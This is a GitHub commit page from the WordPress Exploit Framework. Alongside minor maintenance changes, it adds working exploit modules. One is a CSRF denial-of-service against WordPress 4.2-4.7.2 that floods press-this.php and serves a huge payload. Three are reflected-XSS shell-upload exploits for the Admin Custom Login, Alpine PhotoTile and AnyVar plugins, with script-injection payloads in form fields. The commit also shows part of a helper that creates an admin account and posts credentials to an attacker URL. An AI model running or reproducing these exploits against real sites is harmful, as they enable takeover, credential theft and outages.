Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit 4df9841

Browse files
committed
Merge branch 'development'
2 parents a06e17c + d64ad60 commit 4df9841

24 files changed

+689
-10
lines changed

VERSION

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1 +1 @@
1-
1.5
1+
1.5.1

env.rb

Lines changed: 25 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,10 +1,31 @@
1-
require 'colorize'
21
require 'date'
2+
require 'fileutils'
33
require 'json'
4-
require 'require_all'
54
require 'time'
6-
require 'typhoeus'
7-
require 'zip'
5+
6+
required_gems = [
7+
'colorize',
8+
'mime/types',
9+
'nokogiri',
10+
'require_all',
11+
'slop',
12+
'typhoeus',
13+
'zip'
14+
]
15+
16+
required_gems.each do |gem_name|
17+
begin
18+
require gem_name
19+
rescue LoadError
20+
puts
21+
puts "Failed to load required dependency: #{gem_name}"
22+
puts
23+
puts 'You must run "bundle install" prior to using WordPress Exploit Framework.'
24+
puts 'If bundler is not present on your system, you can install it by running "gem install bundler"'
25+
puts
26+
exit
27+
end
28+
end
829

930
wpxfbase = __FILE__
1031

lib/cli/console.rb

Lines changed: 6 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -65,7 +65,12 @@ def prompt_for_input
6565
prompt += " [#{context.module_path}]" if context
6666
prompt += ' > '
6767

68-
input = Readline.readline(prompt, true).to_s
68+
begin
69+
input = Readline.readline(prompt, true).to_s
70+
rescue SignalException
71+
input = ''
72+
end
73+
6974
puts if input.empty?
7075
input
7176
end

lib/cli/module_info.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -16,7 +16,7 @@ def print_description
1616
if context.module.module_description_preformatted
1717
print_std(indent_without_wrap(context.module.module_desc))
1818
else
19-
print_std(wrap_text(context.module.module_desc))
19+
print_std(wrap_text(context.module.module_desc).strip)
2020
end
2121
end
2222
end

lib/cli/output.rb

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -8,7 +8,8 @@ def indent_cursor(level = 1)
88
end
99

1010
def wrap_text(s, padding = 0, width = 78)
11-
s.gsub(/(.{1,#{width}})(\s+|\Z)/, "\\1\n#{@indent * @indent_level}#{' ' * padding}").chomp
11+
s.tr("\n", '')
12+
.gsub(/(.{1,#{width}})(\s+|\Z)/, "\\1\n#{@indent * @indent_level}#{' ' * padding}").chomp
1213
.gsub(/\s+$/, '')
1314
end
1415

lib/wpxf/wordpress/xss.rb

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -65,6 +65,11 @@ def xss_ascii_encoded_include_script
6565
"eval(String.fromCharCode(#{xss_include_script.bytes.join(',')}))"
6666
end
6767

68+
# @return [String] the URL encoded value of #xss_ascii_encoded_include_script.
69+
def xss_url_and_ascii_encoded_include_script
70+
url_encode(xss_ascii_encoded_include_script)
71+
end
72+
6873
# @return [String] a script that will create a new admin user and post the
6974
# credentials back to {#xss_url}.
7075
def wordpress_js_create_user
Lines changed: 81 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,81 @@
1+
class Wpxf::Auxiliary::Wp472CsrfDos < Wpxf::Module
2+
include Wpxf::WordPress::ReflectedXss
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'WordPress 4.2-4.7.2 - CSRF DoS',
9+
desc: %(
10+
A Cross-Site Request Forgery (CSRF) vulnerability exists on the Press This page of WordPress.
11+
This issue can be used to create a Denial of Service (DoS) condition if an authenticated
12+
administrator visits a malicious URL.
13+
),
14+
author: [
15+
'Sipke Mellema', # Vulnerability disclosure
16+
'Rob Carr <rob[at]rastating.com>' # WPXF module
17+
],
18+
references: [
19+
['WPVDB', '8770'],
20+
['URL', 'https://wordpress.org/news/2017/03/wordpress-4-7-3-security-and-maintenance-release/'],
21+
['URL', 'https://sumofpwn.nl/advisory/2016/cross_site_request_forgery_in_wordpress_press_this_function_allows_dos.html']
22+
],
23+
date: 'Mar 06 2017'
24+
)
25+
26+
register_option(
27+
IntegerOption.new(
28+
name: 'request_count',
29+
required: true,
30+
desc: 'The number of requests to make',
31+
default: 50
32+
)
33+
)
34+
end
35+
36+
def check
37+
target_version = wordpress_version
38+
return :unknown if target_version.nil?
39+
40+
version_vulnerable?(target_version, Gem::Version.new('4.7.3'), Gem::Version.new('4.2'))
41+
end
42+
43+
def url_with_xss
44+
xss_url
45+
end
46+
47+
def request_count
48+
normalized_option_value('request_count')
49+
end
50+
51+
def generate_payload_url
52+
normalize_uri(wordpress_url_admin, "press-this.php?u=#{url_encode(xss_url)}#{url_encode('.txt')}&url-scan-submit=Scan&#{Utility::Text.rand_alpha(3)}=#{Utility::Text.rand_alpha(3)}")
53+
end
54+
55+
def on_http_request(path, _params, _headers)
56+
if path == "/#{xss_path}"
57+
emit_info 'Starting DoS...'
58+
res = ''
59+
request_count.times do
60+
res = "#{res}<img src='#{generate_payload_url}'>"
61+
end
62+
63+
{ body: res, type: 'text/html' }
64+
else
65+
emit_info 'Sending DoS payload...'
66+
'<>' * 56_000_000
67+
end
68+
end
69+
70+
def run
71+
return false unless super
72+
73+
emit_info 'Provide the URL below to the victim to begin the denial of service'
74+
puts
75+
puts url_with_xss
76+
puts
77+
78+
start_http_server
79+
true
80+
end
81+
end
Lines changed: 40 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,40 @@
1+
class Wpxf::Exploit::AdminCustomLoginReflectedXssShellUpload < Wpxf::Module
2+
include Wpxf::WordPress::StagedReflectedXss
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'Admin Custom Login <= 2.4.7.1 Reflected XSS Shell Upload',
9+
author: [
10+
'Burak Kelebek', # Disclosure
11+
'Rob Carr <rob[at]rastating.com>' # WPXF module
12+
],
13+
references: [
14+
['WPVDB', '8759'],
15+
['URL', 'https://sumofpwn.nl/advisory/2016/admin_custom_login_wordpress_plugin_affected_by_persistent_cross_site_scripting_via_logo_url_field.html']
16+
],
17+
date: 'Mar 01 2017'
18+
)
19+
end
20+
21+
def check
22+
check_plugin_version_from_readme('admin-custom-login', '2.4.7.2')
23+
end
24+
25+
def vulnerable_url
26+
normalize_uri(wordpress_url_admin, 'options-general.php?page=admin_custom_login')
27+
end
28+
29+
def initial_script
30+
create_basic_post_script(
31+
vulnerable_url,
32+
'Action' => 'logoSave',
33+
'logo_image' => normalize_uri(wordpress_url_uploads, "#{Utility::Text.rand_alpha(5)}.jpg"),
34+
'logo_width' => Utility::Text.rand_numeric(2),
35+
'logo_height' => Utility::Text.rand_numeric(2),
36+
'logo_url' => "\\\"><script>#{xss_ascii_encoded_include_script}<\\/script>",
37+
'logo_url_title' => Utility::Text.rand_alpha(10)
38+
)
39+
end
40+
end
Lines changed: 38 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,38 @@
1+
class Wpxf::Exploit::AlpinePhotoTileForInstagramReflectedXssShellUpload < Wpxf::Module
2+
include Wpxf::WordPress::StagedReflectedXss
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'Alpine PhotoTile for Instagram <= 1.2.7.7 Reflected XSS Shell Upload',
9+
author: [
10+
'Antonis Manaras', # Disclosure
11+
'Rob Carr <rob[at]rastating.com>' # WPXF module
12+
],
13+
references: [
14+
['WPVDB', '8754'],
15+
['URL', 'https://sumofpwn.nl/advisory/2016/cross_site_scripting_in_alpine_phototile_for_instagram_wordpress_plugin.html']
16+
],
17+
date: 'Mar 02 2017'
18+
)
19+
end
20+
21+
def check
22+
check_plugin_version_from_readme('alpine-photo-tile-for-instagram', '1.2.7.8')
23+
end
24+
25+
def vulnerable_url
26+
normalize_uri(wordpress_url_admin, 'options-general.php?page=alpine-photo-tile-for-instagram-settings&tab=add')
27+
end
28+
29+
def initial_script
30+
create_basic_post_script(
31+
vulnerable_url,
32+
'hidden' => 'Y',
33+
'add-user' => 'Y',
34+
'client_id' => "<\\/script><img src=x onerror=#{xss_ascii_encoded_include_script}>",
35+
'client_secret' => Utility::Text.rand_alphanumeric(10)
36+
)
37+
end
38+
end
Lines changed: 38 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,38 @@
1+
class Wpxf::Exploit::AnyvarReflectedXssShellUpload < Wpxf::Module
2+
include Wpxf::WordPress::StagedReflectedXss
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'AnyVar <= 0.1.1 Reflected XSS Shell Upload',
9+
author: [
10+
'Larry W. Cashdollar', # Disclosure
11+
'Rob Carr <rob[at]rastating.com>' # WPXF module
12+
],
13+
references: [
14+
['WPVDB', '8764'],
15+
['CVE', '2017-6103'],
16+
['URL', 'http://www.vapidlabs.com/advisory.php?v=177']
17+
],
18+
date: 'Feb 21 2017'
19+
)
20+
end
21+
22+
def check
23+
check_plugin_version_from_readme('anyvar', '0.1.2')
24+
end
25+
26+
def vulnerable_url
27+
normalize_uri(wordpress_url_admin, 'tools.php?page=anyvar/anyvar.php')
28+
end
29+
30+
def initial_script
31+
create_basic_post_script(
32+
vulnerable_url,
33+
'action' => 'add',
34+
'var_name' => Utility::Text.rand_alphanumeric(10),
35+
'var_text' => "</textarea><script>#{xss_ascii_encoded_include_script}<\\/script>"
36+
)
37+
end
38+
end

0 commit comments

Comments
 (0)